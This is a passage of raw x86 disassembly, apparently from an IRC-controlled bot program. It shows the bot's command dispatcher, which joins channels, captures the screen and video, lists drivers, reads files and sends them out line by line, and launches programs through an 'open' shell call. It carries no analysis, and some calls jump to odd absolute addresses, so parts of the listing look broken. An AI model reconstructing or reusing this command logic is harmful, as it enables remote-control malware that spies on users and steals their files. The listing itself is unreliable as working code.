		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40884B

loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_408839
; ---------------------------------------------------------------------------

loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_429E58

loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------

loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429E2C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40894A

loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_408934
; ---------------------------------------------------------------------------

loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset dword_429DF0
		jmp	loc_408857
; ---------------------------------------------------------------------------

loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DE8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h

loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854

loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DD4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------

loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429DB8

loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D94
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DE0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D78
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D50
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D44
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2670580h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D30
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------

loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A464
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429D14
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CF4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CD4

loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------

loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------

loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CAC
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C60
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C2C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------

loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BFC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------

loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429BC0

loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi

loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFD4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h

loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B68
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B34
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------

loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429B00
		jmp	short loc_408F78
; ---------------------------------------------------------------------------

loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429AC8

loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A94
		jmp	loc_40874A
; ---------------------------------------------------------------------------

loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A54
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_429A14
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch

loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------

loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299F0
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_4299CC
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_4299C8 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42999C

loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------

loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429984
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429964
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429948
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429930
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40921A

loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_409204
; ---------------------------------------------------------------------------

loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_4298F0

loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298D8
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4298B4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	loc_4023E6

loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_409325
; ---------------------------------------------------------------------------

loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 26707EAh
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429898
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------

loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A0A0
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------

loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429874
		jmp	short loc_40939D
; ---------------------------------------------------------------------------

loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429844

loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_429824
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]

loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297D4
		push	eax
		call	sub_41B886

loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CB028
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB030
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------

loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_4297AC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429784
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAF10
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429764
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429740
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429718
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------

loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
